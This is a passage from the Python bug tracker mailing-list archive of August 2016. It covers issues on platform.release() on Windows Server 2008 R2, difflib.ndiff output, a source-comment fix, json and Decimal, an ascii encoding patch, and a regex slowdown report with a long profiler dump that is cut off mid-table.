(v3.5.1:37a07cee5969, Dec 6 2015, 01:54:25) [MSC v.1900 64 bit (AM D64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import platform >>> platform.release() '2008ServerR2' However, the function in the latest release, Python 3.5.2, misidentifies the system as Windows 7: C:\Users\jdoe\Documents\Python>python-3.5.2-embed-amd64\python.exe Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AM D64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import platform >>> platform.release() '7' ---------- nosy: +James Domingo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 10:37:05 2016 From: report at bugs.python.org (vincenzo gisondi) Date: Wed, 31 Aug 2016 14:37:05 +0000 Subject: [issue27913] Difflib.ndiff (Problem on identification of changes as Diff Style) Message-ID: <1472654225.41.0.864663754279.issue27913@psf.upfronthosting.co.za> New submission from vincenzo gisondi: I found an anomaly on identification of changes as Diff Style (^). There are the tests that i done: 1) First Test (only one character is different) >>> a = "Hello Vincenzo\n".splitlines(1) >>> b = "Hello Vincenza\n".splitlines(1) >>> a ['Hello Vincenzo\n'] >>> b ['Hello Vincenza\n'] >>> diff = difflib.ndiff(a,b) >>> print(''.join(diff)) - Hello Vincenzo ? ^ + Hello Vincenza ? ^ 2) Second Test (two characters are differents) >>> a = "Hello Vincenzo\n".splitlines(1) >>> b = "Hello Vincensa\n".splitlines(1) >>> a ['Hello Vincenzo\n'] >>> b ['Hello Vincensa\n'] >>> diff = difflib.ndiff(a,b) >>> print(''.join(diff)) - Hello Vincenzo ? ^^ + Hello Vincensa ? ^^ 3) Third Test (three characters are differents) >>> a = "Hello Vincenzo\n".splitlines(1) >>> b = "Helto Bincenza\n".splitlines(1) >>> a ['Hello Vincenzo\n'] >>> b ['Helto Bincenza\n'] >>> diff = difflib.ndiff(a,b) >>> print(''.join(diff)) - Hello Vincenzo ? ^ ^ ^ + Helto Bincenza ? ^ ^ ^ 4) Fourth test (four characters are differents -> Anomaly) >>> a = "Hello Vincenzo\n".splitlines(1) >>> b = "Halto Bincenza\n".splitlines(1) >>> a ['Hello Vincenzo\n'] >>> b ['Halto Bincenza\n'] >>> diff = difflib.ndiff(a,b) >>> print(''.join(diff)) - Hello Vincenzo + Halto Bincenza In this last test I expected 4 "^" characters as in previous tests, like this: - Hello Vincenzo ? ^ ^ ^ ^ + Halto Bincenza ? ^ ^ ^ ^ but I have a response completly different. This is a Bug or I did not understand something :) Thank you very much for your support. ---------- components: Library (Lib) messages: 274023 nosy: vincenzo gisondi priority: normal severity: normal status: open title: Difflib.ndiff (Problem on identification of changes as Diff Style) type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 10:38:40 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 31 Aug 2016 14:38:40 +0000 Subject: [issue27914] Incorrect comment in PyModule_ExcDef Message-ID: <1472654320.9.0.438232353542.issue27914@psf.upfronthosting.co.za> New submission from Xiang Zhang: There is a comment in PyModule_ExcDef: /* handled in PyModule_CreateFromSlots */ But there seems never exists PyModule_CreateFromSlots, I think PyModule_CreateFromSlots should be PyModule_FromDefAndSpec2. ---------- files: PyModule_ExcDef_comment.patch keywords: patch messages: 274024 nosy: ncoghlan, xiang.zhang priority: normal severity: normal status: open title: Incorrect comment in PyModule_ExcDef type: enhancement versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44299/PyModule_ExcDef_comment.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 10:43:22 2016 From: report at bugs.python.org (SilentGhost) Date: Wed, 31 Aug 2016 14:43:22 +0000 Subject: [issue27913] Difflib.ndiff (Problem on identification of changes as Diff Style) In-Reply-To: <1472654225.41.0.864663754279.issue27913@psf.upfronthosting.co.za> Message-ID: <1472654602.36.0.700944281075.issue27913@psf.upfronthosting.co.za> SilentGhost added the comment: Since there are more than a quarter of all characters changed between two sequences, they are considered sufficiently different and no by-character comparison is shown. ---------- nosy: +SilentGhost resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:02:20 2016 From: report at bugs.python.org (Mads Jensen) Date: Wed, 31 Aug 2016 15:02:20 +0000 Subject: [issue16535] json encoder unable to handle decimal In-Reply-To: <1353624338.46.0.574343718645.issue16535@psf.upfronthosting.co.za> Message-ID: <1472655740.91.0.80831287975.issue16535@psf.upfronthosting.co.za> Mads Jensen added the comment: Hi @cvrebert and team - do you know if this was ever implemented. It seems that it is still an issue for financial applications, and that the solution proposed would be relevant and helpful. ---------- nosy: +mjensen _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:04:57 2016 From: report at bugs.python.org (vincenzo gisondi) Date: Wed, 31 Aug 2016 15:04:57 +0000 Subject: [issue27913] Difflib.ndiff (Problem on identification of changes as Diff Style) In-Reply-To: <1472654225.41.0.864663754279.issue27913@psf.upfronthosting.co.za> Message-ID: <1472655897.5.0.463042099287.issue27913@psf.upfronthosting.co.za> vincenzo gisondi added the comment: Ok now it is all clear. Thank you very much, for your rapid and clear answer. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:08:49 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Wed, 31 Aug 2016 15:08:49 +0000 Subject: [issue27915] Use 'ascii' instead of 'us-ascii' to bypass lookup machinery Message-ID: <1472656129.69.0.589278825642.issue27915@psf.upfronthosting.co.za> New submission from Ville Skytt?: https://docs.python.org/3/library/codecs.html#standard-encodings There are a bunch of other us-ascii occurrences in the tree; this patch covers the ones that are not user visible in a way that could cause problems or changes in behavior. ---------- files: ascii.patch keywords: patch messages: 274028 nosy: scop priority: normal severity: normal status: open title: Use 'ascii' instead of 'us-ascii' to bypass lookup machinery type: performance Added file: http://bugs.python.org/file44300/ascii.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 11:15:16 2016 From: report at bugs.python.org (Steve Newcomb) Date: Wed, 31 Aug 2016 15:15:16 +0000 Subject: [issue27898] regexp performance degradation between 2.7.6 and 2.7.12 In-Reply-To: <722ff06a-9b68-4ef6-e76a-d81e3e581577@coolheads.com> Message-ID: <43375310-4d61-3c52-8fa7-22bd0d8138c0@coolheads.com> Steve Newcomb added the comment: Having disabled multiprocessing, I ran new, more extensive profiles. The biggest problem is in re.sub(), which in our codebase evidently uses 3 times as much processing time in Python 2.7.12 as it does in Python 2.7.6. I'm attaching the profile reports for both runs. Here's a possibly-relevant question: Are regular expressions now being unnecessarily recompiled by re.sub()? We never call the sub() method of a compiled regular expression; we always call sub() as "re.sub()" and pass the compiled regular expression as the first argument. Years ago when our code was first developed, re.sub() did not always work correctly when invoked as a method of a compiled regular expression object. I don't know if that's still a problem, but the problem persisted for years, and so we have a convention of always invoking sub() at the module level. Steve Newcomb ---------- Added file: http://bugs.python.org/file44301/newcomb_profile_report_for_2.7.6.txt Added file: http://bugs.python.org/file44302/newcomb_profile_report_for_2.7.12.txt _______________________________________ Python tracker _______________________________________ -------------- next part -------------- elapsed time for this tmloom2 111 run: 5:30:12.000096 Tue Aug 30 20:23:42 2016 /tmp/profile 2400842755 function calls (2369888195 primitive calls) in 19792.414 seconds Ordered by: internal time List reduced from 1444 to 1000 due to restriction <1000> ncalls tottime percall cumtime percall filename:lineno(function) 114130955/107552497 9786.403 0.000 10012.707 0.000 {method 'sub' of '_sre.SRE_Pattern' objects} 20666 2627.897 0.127 2627.897 0.127 {posix.read} 17337 2086.847 0.120 2086.847 0.120 {posix.fork} 1252506/2518 1019.741 0.001 1195.594 0.475 /home2/rackdev/ch_tools/ch_pyRXPU.py:944(_mungeTree) 278586104 571.334 0.000 727.004 0.000 /usr/lib/python2.7/re.py:204(escape) 6902482 414.061 0.000 1483.510 0.000 /home2/rackdev/tmloom/lib/irs_ingestinstances.py:3694(getParsedEventFromRastLines) 20692 304.518 0.015 304.518 0.015 {built-in method poll} 117595675 271.993 0.000 526.168 0.000 /usr/lib/python2.7/re.py:226(_compile) 113443088/106864630 236.297 0.000 10574.029 0.000 /usr/lib/python2.7/re.py:144(sub) 144367134 203.033 0.000 203.033 0.000 {method 'match' of '_sre.SRE_Pattern' objects} 1540301 199.881 0.000 953.088 0.001 {map} 8666 195.561 0.023 2862.071 0.330 /home2/rackdev/tmloom/lib/irs_ingestinstances.py:3268(xmlLinesFromRastLines) 278594444 155.683 0.000 155.683 0.000 {method 'join' of 'unicode' objects} 210854507 134.344 0.000 134.344 0.000 {method 'group' of '_sre.SRE_Match' objects} 135243 126.155 0.001 126.155 0.001 {method 'close' of 'file' objects} 211338364/211155997 122.582 0.000 122.791 0.000 {len} 157225571 99.753 0.000 99.753 0.000 {method 'append' of 'list' objects} 135840001 90.105 0.000 90.105 0.000 {method 'get' of 'dict' objects} 142554270 89.614 0.000 89.614 0.000 {isinstance} 2696614/8666 49.235 0.000 264.981 0.031 /home2/rackdev/tmloom/lib/utils.py:5148(_prettyXml) 9418158/1287653 36.022 0.000 96.870 0.000 /usr/lib/python2.7/copy.py:145(deepcopy) 24092606 32.078 0.000 32.078 0.000 {method 'search' of '_sre.SRE_Pattern' objects} 8666 30.335 0.004 40.220 0.005 /home2/rackdev/tmloom/lib/pretty.py:3726(normalizeSpacesInMappedContent) 39867633 26.579 0.000 26.579 0.000 {method 'lower' of 'unicode' objects} 4294339 25.627 0.000 43.872 0.000 /home2/rackdev/tmloom/lib/utils.py:5119(getLastLineLength) 8666 24.719 0.003 24.719 0.003 {method 'splitlines' of 'unicode' objects} 8666 23.644 0.003 19653.115 2.268 /home2/rackdev/tmloom/lib/pretty.py:878(htmlMill) 16235736 21.876 0.000 31.206 0.000 /home2/rackdev/tmloom/lib/utils.py:493(__call__) 2696614 21.283 0.000 109.736 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1209(_start_list) 4230978 21.211 0.000 35.188 0.000 /home2/rackdev/ch_tools/walshDtd.py:1986(__adjustCasesOfMarkupInXmlString) 1597725 20.873 0.000 75.534 0.000 /home2/rackdev/tmloom/lib/utils.py:5411(pcDataProc) 2696614 20.651 0.000 66.980 0.000 /home2/rackdev/tmloom/lib/utils.py:5082(attrString) 7665269 20.002 0.000 29.587 0.000 /usr/lib/python2.7/copy.py:267(_keep_alive) 5141416 19.670 0.000 89.265 0.000 /home2/rackdev/ch_tools/walshDtd.py:1979(_adjustCasesOfMarkupInXmlString) 5286414 18.378 0.000 42.458 0.000 /home2/rackdev/ch_tools/walshDtd.py:2209(__modifyAttValues) 16729760 18.352 0.000 18.352 0.000 {method 'join' of 'str' objects} 1277219/29749 17.518 0.000 67.948 0.002 /home2/rackdev/ch_tools/ch_pyRXPU.py:1344(_tree2Xml) 18227645 17.105 0.000 17.105 0.000 {method 'replace' of 'unicode' objects} 2644088 16.356 0.000 100.408 0.000 /home2/rackdev/ch_tools/walshDtd.py:2257(_modifyAttValues) 17786150 16.028 0.000 16.028 0.000 {method 'startswith' of 'unicode' objects} 8790872 15.900 0.000 26.190 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1171(_ordChr) 7667795 14.696 0.000 22.876 0.000 /usr/lib/python2.7/sre_parse.py:182(__next) 346148/29480 14.325 0.000 66.338 0.002 /usr/lib/python2.7/sre_parse.py:379(_parse) 7878816 13.345 0.000 80.230 0.000 /home2/rackdev/tmloom/lib/utils.py:4835(interpretBackslashes) 2075606 12.529 0.000 12.529 0.000 {method 'write' of 'file' objects} 4035073 12.237 0.000 12.237 0.000 {method 'groupdict' of '_sre.SRE_Match' objects} 21551721 12.069 0.000 12.069 0.000 {id} 2696614 11.840 0.000 23.704 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1109(start) 109235 10.910 0.000 10.910 0.000 {open} 17334 10.270 0.001 160.093 0.009 {built-in method Parse} 1296896/1287653 9.149 0.000 83.216 0.000 /usr/lib/python2.7/copy.py:253(_deepcopy_dict) 4230978 9.093 0.000 40.184 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:123(interpretEntityReferences) 2546 8.518 0.003 8.518 0.003 {method 'parse' of 'pyRXPU.Parser' objects} 8666 8.479 0.001 19627.729 2.265 /home2/rackdev/tmloom/lib/pretty.py:1051(_htmlMill) 513018/21704 8.230 0.000 34.502 0.002 /usr/lib/python2.7/sre_compile.py:32(_compile) 7674118 8.067 0.000 8.067 0.000 {method 'has_key' of 'dict' objects} 1249988/2518 7.990 0.000 78.836 0.031 /home2/rackdev/ch_tools/ch_pyRXPU.py:971(_enhanceTree) 6216328 7.936 0.000 21.218 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1183(_fixtext) 6654018 7.909 0.000 27.747 0.000 /usr/lib/python2.7/sre_parse.py:201(get) 887092 7.855 0.000 7.855 0.000 {_codecs.utf_8_decode} 6216328 7.849 0.000 13.282 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:783(_encode) 489292 7.693 0.000 12.335 0.000 /usr/lib/python2.7/sre_compile.py:207(_optimize_charset) 9624206 7.440 0.000 8.827 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1190(_fixname) 177847 7.381 0.000 49.018 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:475(unormUri) 5728300 7.083 0.000 7.083 0.000 {method 'encode' of 'str' objects} 7200746 6.796 0.000 6.796 0.000 {method 'encode' of 'unicode' objects} 452143 6.748 0.000 6.748 0.000 {method 'extend' of 'list' objects} 10676473 6.699 0.000 6.699 0.000 {method 'upper' of 'unicode' objects} 220016/42 6.523 0.000 43.785 1.042 /home2/rackdev/ch_tools/ch_show.py:269(_showdict) 1707971 6.511 0.000 12.148 0.000 /home2/rackdev/ch_tools/ch_pyRXPU.py:55(attrNameCmp) 11260806 6.358 0.000 6.358 0.000 {ord} 9732652 6.278 0.000 6.278 0.000 {method 'pop' of 'list' objects} 4902169 5.634 0.000 5.634 0.000 {method 'keys' of 'dict' objects} 8660101 5.606 0.000 5.606 0.000 {method 'rfind' of 'str' objects} 8107245 5.594 0.000 5.594 0.000 {setattr} 4133010 5.487 0.000 20.718 0.000 /usr/lib/python2.7/re.py:188(compile) 2696614 5.431 0.000 11.612 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1125(end) 687866 5.396 0.000 939.353 0.001 /home2/rackdev/tmloom/lib/utils.py:489(_make_regex) 2696614 5.366 0.000 18.687 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1235(_end) 8877868 5.361 0.000 5.361 0.000 {chr} 177847 5.206 0.000 15.030 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:347(__init__) 5393228 4.989 0.000 7.906 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1080(_flush) 1875599 4.724 0.000 11.138 0.000 /home2/rackdev/ch_tools/ch_show.py:99(showWrite) 1232667/42 4.691 0.000 43.789 1.043 /home2/rackdev/ch_tools/ch_show.py:132(dispatch) 401318/367042 4.672 0.000 25.107 0.000 /home2/rackdev/ch_tools/ch_show.py:344(_showlist) 4225338 4.476 0.000 18.805 0.000 {method 'sort' of 'list' objects} 8646 4.476 0.001 4.476 0.001 {posix.unlink} 3276155 4.060 0.000 6.134 0.000 /usr/lib/python2.7/sre_parse.py:130(__getitem__) 852428 3.843 0.000 37.329 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1169(byteifyUnicodeString) 177847 3.817 0.000 103.534 0.001 /home2/rackdev/ch_tools/ch_urinorm2.py:712(normUri) 6352975 3.753 0.000 3.753 0.000 /usr/lib/python2.7/copy.py:198(_deepcopy_atomic) 87159 3.638 0.000 15.121 0.000 /home2/rackdev/tmloom/lib/pretty.py:3283(seeProductRETriggerFunc) 2706906 3.513 0.000 113.336 0.000 /build/buildd/python2.7-2.7.6/Modules/pyexpat.c:566(StartElement) 2961131 3.387 0.000 3.387 0.000 {range} 2687948 3.374 0.000 5.046 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:319(append) 2706906 3.363 0.000 22.112 0.000 /build/buildd/python2.7-2.7.6/Modules/pyexpat.c:618(EndElement) 4615234 3.306 0.000 3.306 0.000 {method 'endswith' of 'unicode' objects} 802247 3.305 0.000 58.673 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1068(normalizeFunnyChars) 1597734 3.271 0.000 12.174 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1232(_data) 1246892 3.171 0.000 5.265 0.000 /home2/rackdev/ch_tools/ch_show.py:111(makeAddressStr) 4430449 3.000 0.000 3.000 0.000 {method 'endswith' of 'str' objects} 74 2.997 0.040 3.087 0.042 {cPickle.dump} 483998 2.957 0.000 3.780 0.000 /home2/rackdev/tmloom/lib/utils.py:4836(_interpretBackslashes) 3293058 2.814 0.000 5.773 0.000 /usr/lib/python2.7/sre_parse.py:195(match) 489292 2.808 0.000 16.877 0.000 /usr/lib/python2.7/sre_compile.py:178(_compile_charset) 416006 2.726 0.000 2.726 0.000 {_codecs.utf_8_encode} 2111475 2.714 0.000 17.942 0.000 /home2/rackdev/ch_tools/ch_pyRXPU.py:1156(xmlifyAttributeValue) 2169283 2.535 0.000 3.771 0.000 /usr/lib/python2.7/sre_parse.py:138(append) 185333 2.478 0.000 38.216 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:980(normPath) 852428 2.455 0.000 8.250 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1109(unquoteUriString) 40745 2.390 0.000 2.390 0.000 {method 'recv' of '_multiprocessing.Connection' objects} 826671 2.284 0.000 8.662 0.000 /home2/rackdev/ch_tools/ch_pyRXPU.py:1167(xmlifyDataContent) 1618258 2.061 0.000 14.303 0.000 /build/buildd/python2.7-2.7.6/Modules/pyexpat.c:441(CharacterData) 1296897 2.055 0.000 2.055 0.000 {method 'iteritems' of 'dict' objects} 2978496 1.997 0.000 1.997 0.000 {repr} 640863/163058 1.992 0.000 2.789 0.000 /usr/lib/python2.7/sre_parse.py:140(getwidth) 1597734 1.990 0.000 3.158 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1098(data) 852428 1.982 0.000 43.041 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1167(decodeUriString) 1597725 1.979 0.000 2.917 0.000 /usr/lib/python2.7/string.py:308(join) 17336 1.920 0.000 4718.124 0.272 /usr/lib/python2.7/subprocess.py:1187(_execute_child) 383045 1.884 0.000 3.066 0.000 /home2/rackdev/tmloom/lib/utils.py:5660(_sgmlifyEmptyElements2) 2696614 1.884 0.000 1.884 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:224(__init__) 178752 1.758 0.000 3.645 0.000 /usr/lib/python2.7/sre_parse.py:216(isname) 687866 1.695 0.000 989.123 0.001 /home2/rackdev/tmloom/lib/utils.py:497(xlat) 2696614 1.687 0.000 1.687 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:353(getchildren) 541073 1.648 0.000 8.182 0.000 /home2/rackdev/tmloom/lib/pretty.py:840(fixHrefAttValues) 1472587 1.615 0.000 1.615 0.000 {method 'update' of 'dict' objects} 2137493 1.592 0.000 1.592 0.000 /usr/lib/python2.7/sre_parse.py:210(isident) 266136/21704 1.590 0.000 66.616 0.003 /usr/lib/python2.7/sre_parse.py:301(_parse_sub) 142157 1.583 0.000 1.583 0.000 {posix.stat} 78541 1.543 0.000 1.543 0.000 {posix.remove} 71704 1.541 0.000 1.860 0.000 /usr/lib/python2.7/sre_compile.py:258(_mk_bitmap) 2518 1.504 0.001 1405.883 0.558 /home2/rackdev/ch_tools/ch_pyRXPU.py:437(parse) 852402 1.441 0.000 3.729 0.000 {method 'decode' of 'str' objects} 8666 1.440 0.000 267.322 0.031 /home2/rackdev/tmloom/lib/utils.py:4964(prettyXml) 1138335 1.408 0.000 2.195 0.000 /usr/lib/python2.7/codecs.py:705(__getattr__) 2052630 1.372 0.000 1.372 0.000 {method 'startswith' of 'str' objects} 8666 1.277 0.000 9176.804 1.059 /home2/rackdev/tmloom/lib/pretty.py:3922(updateIrsUrls) 852402 1.244 0.000 2.288 0.000 /usr/lib/python2.7/encodings/utf_8.py:15(decode) 589497 1.237 0.000 2.147 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:343(getPathSegs) 356575 1.221 0.000 2.024 0.000 /usr/lib/python2.7/sre_parse.py:257(_escape) 8666 1.207 0.000 87.135 0.010 /home2/rackdev/tmloom/lib/utils.py:5650(sgmlifyEmptyElements) 8666 1.167 0.000 99.258 0.011 /home2/rackdev/ch_tools/walshDtd.py:2065(adjustCasesOfMarkupInXmlString) 802247 1.166 0.000 6.588 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1141(quoteUriString) 2036409 1.122 0.000 1.122 0.000 /usr/lib/python2.7/sre_compile.py:24(_identityfunction) 57475 1.117 0.000 1.117 0.000 {method 'read' of 'file' objects} 900412 1.113 0.000 1.113 0.000 {method 'setdefault' of 'dict' objects} 177847 1.062 0.000 5.289 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:939(normIp) 213293 1.048 0.000 1.592 0.000 /usr/lib/python2.7/posixpath.py:68(join) 1670639 1.027 0.000 1.027 0.000 {cmp} 416979 1.025 0.000 4.496 0.000 /home2/rackdev/ch_tools/ch_show.py:125(_showString) 9 0.982 0.109 103.530 11.503 {cPickle.load} 362878 0.951 0.000 5.084 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1041(normFragment) 423560 0.943 0.000 10.590 0.000 /usr/lib/python2.7/codecs.py:347(write) 1 0.937 0.937 0.937 0.937 {posix.system} 533541 0.910 0.000 7.642 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:332(uriStrip) 681772 0.835 0.000 1.259 0.000 /usr/lib/python2.7/string.py:220(lower) 228987 0.824 0.000 1.643 0.000 /home2/rackdev/tmloom/lib/pretty.py:869(mungeTXMids) 65800 0.791 0.000 8.562 0.000 /usr/lib/python2.7/codecs.py:838(open) 1141193 0.789 0.000 0.789 0.000 {getattr} 668651 0.769 0.000 1.129 0.000 /usr/lib/python2.7/sre_parse.py:126(__len__) 43341 0.762 0.000 0.762 0.000 {posix.fdopen} 132135 0.733 0.000 2.124 0.000 /usr/lib/python2.7/sre_parse.py:225(_class_escape) 355266 0.732 0.000 3.269 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:835(normScheme) 17336 0.731 0.000 4720.934 0.272 /usr/lib/python2.7/subprocess.py:650(__init__) 1123878 0.729 0.000 0.729 0.000 {min} 207540 0.723 0.000 1.515 0.000 /home2/rackdev/tmloom/lib/pretty.py:252(_tweakIdsOrNamesDict) 533541 0.715 0.000 1.088 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:335() 1242540 0.709 0.000 0.709 0.000 {method 'start' of '_sre.SRE_Match' objects} 355694 0.664 0.000 1.152 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:680(unormPath) 8666 0.630 0.000 0.630 0.000 {binascii.crc32} 423560 0.609 0.000 11.199 0.000 /usr/lib/python2.7/codecs.py:686(write) 8666 0.605 0.000 63.135 0.007 /home2/rackdev/tmloom/lib/pretty.py:3542(autolinkIrsProductInvocations) 40743 0.591 0.000 1.601 0.000 /usr/lib/python2.7/multiprocessing/queues.py:99(put) 17336 0.581 0.000 306.114 0.018 /usr/lib/python2.7/subprocess.py:1425(_communicate_with_poll) 81185 0.533 0.000 0.784 0.000 /usr/lib/python2.7/posixpath.py:89(split) 371364 0.532 0.000 3.306 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:920(normDomain) 355694 0.522 0.000 0.729 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:631(unormUserinfo) 177847 0.507 0.000 5.897 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:879(_setNormIpBrackets) 78045 0.502 0.000 2.858 0.000 /home2/rackdev/tmloom/lib/pretty.py:1794(forceDirectoryToExist) 167019 0.502 0.000 0.942 0.000 /home2/rackdev/tmloom/lib/pretty.py:313(_tweakIntraTaxMapUrisDict) 98626 0.496 0.000 2.100 0.000 /usr/lib/python2.7/genericpath.py:38(isdir) 355694 0.495 0.000 0.596 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:896(normIpv4) 355694 0.469 0.000 0.671 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:638(unormLeftIpBracket) 230924 0.467 0.000 0.713 0.000 /usr/lib/python2.7/sre_parse.py:72(opengroup) 242708 0.465 0.000 0.465 0.000 {fcntl.fcntl} 355694 0.463 0.000 0.563 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:908(normIpv6) 355694 0.458 0.000 0.658 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:652(unormIpv6) 355694 0.455 0.000 0.654 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:673(unormTcpUdpPort) 40745 0.452 0.000 0.788 0.000 /usr/lib/python2.7/threading.py:372(notify) 126308 0.452 0.000 0.842 0.000 /home2/rackdev/tmloom/lib/utils.py:5466(_pcDataProc) 355694 0.451 0.000 0.651 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:645(unormIpv4) 355694 0.448 0.000 0.648 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:659(unormDomain) 355694 0.444 0.000 0.644 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:666(unormRightIpBracket) 177847 0.440 0.000 6.337 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:870(normLeftIpBracket) 8666 0.435 0.000 2.925 0.000 /usr/lib/python2.7/shutil.py:66(copyfile) 177847 0.422 0.000 0.538 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1021(normQuery) 177847 0.417 0.000 0.518 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:851(normUserinfo) 78013 0.413 0.000 0.413 0.000 {posix.close} 65800 0.406 0.000 0.573 0.000 /usr/lib/python2.7/codecs.py:648(__init__) 40743 0.402 0.000 2.969 0.000 /usr/lib/python2.7/multiprocessing/queues.py:113(get) 177847 0.385 0.000 0.486 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:963(normTcpUdpPort) 520713 0.380 0.000 0.380 0.000 /usr/lib/python2.7/sre_parse.py:90(__init__) 17336 0.373 0.000 307.140 0.018 /usr/lib/python2.7/subprocess.py:1392(_communicate) 43341 0.356 0.000 0.542 0.000 /usr/lib/python2.7/subprocess.py:1208(_close_in_parent) 207540 0.350 0.000 1.865 0.000 /home2/rackdev/tmloom/lib/pretty.py:223(tweakIdsOrNamesDict) 121354 0.329 0.000 0.794 0.000 /usr/lib/python2.7/subprocess.py:1148(_set_cloexec_flag) 168872 0.315 0.000 0.509 0.000 /home2/rackdev/tmloom/lib/pretty.py:3732(cmpMOsLastToFirst) 77921 0.299 0.000 0.988 0.000 /home2/rackdev/tmloom/lib/pretty.py:843(_fixHrefAttValues) 34672 0.296 0.000 2628.391 0.076 /usr/lib/python2.7/subprocess.py:473(_eintr_retry_call) 177847 0.296 0.000 0.396 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:705(unormFragment) 423736 0.295 0.000 0.295 0.000 /usr/lib/python2.7/sre_parse.py:213(isdigit) 230924 0.287 0.000 0.435 0.000 /usr/lib/python2.7/sre_parse.py:83(closegroup) 417173 0.279 0.000 0.279 0.000 {method 'replace' of 'str' objects} 62107 0.278 0.000 0.278 0.000 {method 'flush' of 'file' objects} 29749 0.277 0.000 91.358 0.003 /home2/rackdev/ch_tools/ch_pyRXPU.py:1210(content) 167019 0.274 0.000 1.216 0.000 /home2/rackdev/tmloom/lib/pretty.py:284(tweakIntraTaxMapUrisDict) 168512 0.273 0.000 0.415 0.000 /usr/lib/python2.7/stat.py:40(S_ISDIR) 17345 0.271 0.000 7.990 0.000 /usr/lib/python2.7/codecs.py:424(read) 134917 0.260 0.000 0.487 0.000 /usr/lib/python2.7/sre_compile.py:354(_simple) 453046 0.258 0.000 0.258 0.000 {method 'end' of '_sre.SRE_Match' objects} 13825 0.253 0.000 0.402 0.000 /usr/lib/python2.7/posixpath.py:336(normpath) 34674 0.253 0.000 0.606 0.000 /usr/lib/python2.7/subprocess.py:1436(close_unregister_and_remove) 177847 0.251 0.000 0.367 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:694(unormQueryWithNormalizedFunnyChars) 8666 0.247 0.000 0.316 0.000 /home2/rackdev/tmloom/lib/ch_elementtree.py:1147(__init__) 105/13 0.245 0.002 2.422 0.186 /usr/lib/python2.7/shutil.py:210(rmtree) 355694 0.240 0.000 0.240 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:627(unormScheme) 60677 0.240 0.000 1.231 0.000 /usr/lib/python2.7/subprocess.py:1161(pipe_cloexec) 34047 0.240 0.000 1.467 0.000 /home2/rackdev/tmloom/lib/utils.py:8181(longestDetailREFirstDisregardingGroupNames) 177847 0.237 0.000 0.337 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:687(unormQuery) 17336 0.231 0.000 1.249 0.000 /usr/lib/python2.7/subprocess.py:1099(_get_handles) 151066 0.230 0.000 1.292 0.000 /home2/rackdev/tmloom/lib/pretty.py:851(fixIdAttValues) 34674 0.224 0.000 0.337 0.000 /usr/lib/python2.7/subprocess.py:1432(register_and_append) 22511 0.223 0.000 0.412 0.000 /home2/rackdev/ch_tools/ch_pyRXPU.py:1035(leftSiblings) 50181 0.215 0.000 3.998 0.000 /home2/rackdev/ch_tools/ch_urinorm2.py:1081(normalizeFunnyCharsInFragmentIdentifier) 177019 0.214 0.000 0.323 0.000 /home2/rackdev/tmloom/lib/pretty.py:3728(handleSpaceChunks) 8666 0.207 0.000 1406.221 0.162 /home2/rackdev/tmloom/lib/pretty.py:4784(taxmapifyUrls) 17341 0.207 